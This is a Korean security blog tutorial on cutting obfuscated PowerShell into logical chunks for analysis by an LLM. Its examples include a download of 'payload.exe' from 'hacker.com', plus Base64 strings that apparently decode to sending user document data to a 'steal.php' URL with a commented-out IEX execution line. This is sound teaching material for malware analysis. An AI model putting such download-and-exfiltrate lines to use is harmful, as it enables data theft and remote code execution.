본문 바로가기
일반IT/IT보안

[실습] 난독화된 코드, AI가 토하지 않게 떠먹여주기! 🥄 (청크 분할 전략)

by gasbugs 2025. 12. 11.

안녕하세요, 여러분! 🕵️‍♂️

지난 이론 시간에 악성 스크립트가 어떻게 요리조리 모습을 숨기는지, 그 '난독화 기법'들에 대해 배웠습니다. (기억 안 나시면 복습! 📝)

이제 이론을 무장했으니 실전에 돌입해야죠! 우리의 든든한 지원군인 생성형 AI(LLM)에게 이 복잡한 코드를 해석해달라고 던져줄 차례입니다.

그런데 잠깐! ✋

수천 줄이 넘어가는 거대한 난독화 스크립트를 한 번에 "복사 + 붙여넣기" 해서 AI에게 던져주면 어떻게 될까요?

🤖 AI: "죄송합니다. 입력이 너무 깁니다. (토큰 제한 초과)" 또는
🤖 AI: (앞부분은 까먹고 뒷부분만 엉뚱하게 해석하며) "이 코드는 그냥 문자열 변수 선언이네요."

 

네, 그렇습니다. AI도 한 번에 소화할 수 있는 양(Context Window/Token Limit)에 한계가 있습니다. 너무 긴 내용을 한꺼번에 주면 '체'해버리거나, 중요한 앞뒤 맥락을 잊어버리는 '기억 상실' 증상을 보입니다.

 

그래서 오늘 실습은 매우 중요합니다. 바로 거대한 괴물 같은 난독화 코드를 AI가 소화하기 좋게 '한 입 크기(Chunk)'로 잘라서 떠먹여 주는 기술을 배울 것입니다. 🥄


1. 왜 '청크(Chunk)'로 나눠야 하나요? 🤔

'청크'는 덩어리라는 뜻입니다. 코드를 분할하는 이유는 두 가지입니다.

  1. 토큰 제한(Token Limit) 극복: ChatGPT나 Claude 같은 모델은 한 번의 대화에 입력받고 출력할 수 있는 글자 수 제한이 있습니다. 긴 악성 스크립트는 이 제한을 쉽게 넘겨버립니다.
  2. 정확도 향상(Focus): AI에게 "이 1000줄 해석해줘" 하는 것보다, "이 50줄이 무슨 역할을 하는지 분석해줘"라고 좁은 범위를 주었을 때 훨씬 더 깊이 있고 정확한 답변을 내놓습니다.

2. 핵심 전략: "아무 데서나 자르면 안 돼요!" ✂️

이게 오늘 실습의 핵심입니다. 코드를 자를 때는 '문맥(Context)''논리적 단위(Logical Unit)'를 고려해야 합니다.

그냥 글자 수 맞춰서 딱 자르면, 명령어가 중간에 짤려서 AI가 문법 오류로 인식하게 됩니다.

❌ 나쁜 분할 예시 (기계적 분할)

# 1번 청크 끝부분
$malicious_url = "http://hacker.c
# --- 여기서 뚝 끊김 ---

# 2번 청크 시작부분
om/payload.exe"
Invoke-WebRequest -Uri $malici...

👉 이렇게 자르면 AI는 1번 청크를 보고 "문자열이 닫히지 않은 오류가 있는 코드"라고 생각합니다. 2번 청크는 om/payload.exe"로 시작하는 알 수 없는 코드가 되죠.

✅ 좋은 분할 예시 (논리적 분할)

# 1번 청크: 변수 선언부 전체
$part1 = "http://";
$part2 = "hacker.com";
$part3 = "/payload.exe";
# --- 논리적 단위 종료 ---

# 2번 청크: 실행부 전체
$full_url = $part1 + $part2 + $part3;
Invoke-WebRequest -Uri $full_url ...

👉 이렇게 함수 단위, 루프(반복문) 단위, 또는 관련된 변수 선언 블록 단위로 끊어줘야 합니다.


3. [실습] 난독화 PowerShell 스크립트 분할하기 🛠️

자, 여기 공격자가 실제로 사용한 것과 유사한 (하지만 안전한) 난독화된 PowerShell 샘플 코드가 있습니다. 꽤 길고 복잡해 보입니다.

📝 실습 샘플 코드 (PowerShell)

# --- 거대한 난독화 스크립트 시작 ---
<#
 This script uses Base64 and string manipulation to hide its intent.
 Do not run this on a production machine.
#>

$v_str_A = "JABuAGUAdwBfAHYAYQByACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7AA==";
$v_str_B = "JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAG0AYQBsAHcAYQByAGUALgBjAG8AbQAvAHMAdABlAGEAbAAuAHAAaABwAD8AZABhAHQAYQA9ACcAOwA=";
$v_str_C = "JABjAG8AbQBtAGEAbgBkACAAPQAgACgAZwBjAGkAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBaAEUAUgBQAFIATwBGAEkATABFACAALQBJAG4AYwBsAHUAZABlACAAKgAuAGQAbwBjAHgAIAAtAFIAZQBjAHUAcgBzAGUAKQAuAEMAbwB1AG5AdAA7AA==";
# ... (중간에 이런 변수 선언이 50줄 더 있다고 가정합니다) ...
$v_padding = "==";
$v_str_D = "JABuAGUAdwBfAHYAYQByAC4ARABvAHcAbgBsAG8AYWADwAdAByAGkAbgBnACgAJAB1AHIAbAAgACsAIAAkAGMAbwBtAG0AYQBuAGQAKQA7AA";

# --- 1차 결합 ---
$stage1 = $v_str_A + $v_str_B + $v_str_C;
# --- 추가 난독화 해제 ---
$final_stage = $stage1 + $v_str_D + $v_padding;

# --- 최종 실행 (주석 처리됨) ---
# IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($final_stage)))

STEP 1. 전체적인 숲을 보기 🌳

코드를 한 번 훑어봅니다.

  • 앞부분은 $v_str_A, $v_str_B 처럼 Base64로 인코딩된 긴 문자열 변수 선언들이 주를 이룹니다.
  • 뒷부분은 이 변수들을 더하고(+), 패딩(==)을 붙여서 최종적으로 디코딩 및 실행(IEX)하려는 구조입니다.

STEP 2. '가위질' 포인트 찾기 📍

어디를 자르면 좋을까요?

  1. 첫 번째 포인트: 수많은 Base64 변수 선언들을 하나의 청크로 묶습니다. 이들은 문맥상 같은 역할을 하기 때문입니다.
  2. 두 번째 포인트: 변수들을 결합하고 최종 실행을 준비하는 로직을 두 번째 청크로 묶습니다.

STEP 3. 실제로 분할하기 (Copy & Paste 준비)

📦 [청크 1: 데이터 선언부]

<# 청크 1 시작: Base64 변수 선언 블록 #>
$v_str_A = "JABuAGUAdwBfAHYAYQByACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7AA==";
$v_str_B = "JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAG0AYQBsAHcAYQByAGUALgBjAG8AbQAvAHMAdABlAGEAbAAuAHAAaABwAD8AZABhAHQAYQA9ACcAOwA=";
$v_str_C = "JABjAG8AbQBtAGEAbgBkACAAPQAgACgAZwBjAGkAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBaAEUAUgBQAFIATwBGAEkATABFACAALQBJAG4AYwBsAHUAZABlACAAKgAuAGQAbwBjAHgAIAAtAFIAZQBjAHUAcgBzAGUAKQAuAEMAbwB1AG5AdAA7AA==";
# ... (중간 변수 생략) ...
$v_padding = "==";
$v_str_D = "JABuAGUAdwBfAHYAYQByAC4ARABvAHcAbgBsAG8AYWADwAdAByAGkAbgBnACgAJAB1AHIAbAAgACsAIAAkAGMAbwBtAG0AYQBuAGQAKQA7AA";
<# 청크 1 끝 #>

📦 [청크 2: 결합 및 실행 로직]

<# 청크 2 시작: 결합 및 실행부 #>
# --- 1차 결합 ---
$stage1 = $v_str_A + $v_str_B + $v_str_C;
# --- 추가 난독화 해제 ---
$final_stage = $stage1 + $v_str_D + $v_padding;

# --- 최종 실행 (주석 처리됨) ---
# IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($final_stage)))
<# 청크 2 끝 #>

4. 마무리: AI에게 먹여줄 준비 완료! 🍽️

자, 이제 우리는 거대한 코드를 두 개의 논리적인 덩어리로 예쁘게 잘랐습니다.

다음 실습 시간에는 이렇게 준비한 청크들을 실제로 AI에게 순서대로 입력하면서, "이건 첫 번째 부분이야. 이 변수들이 뭔지 해석해 줘. 다음 부분을 이어서 줄게." 라고 문맥을 유지하며 대화하는 방법을 배워보겠습니다.

오늘 실습의 핵심은 '코드를 자를 때 문법이나 논리가 깨지지 않게 조심한다'는 점, 꼭 기억하세요!

그럼 다음 시간에 만나요! 👋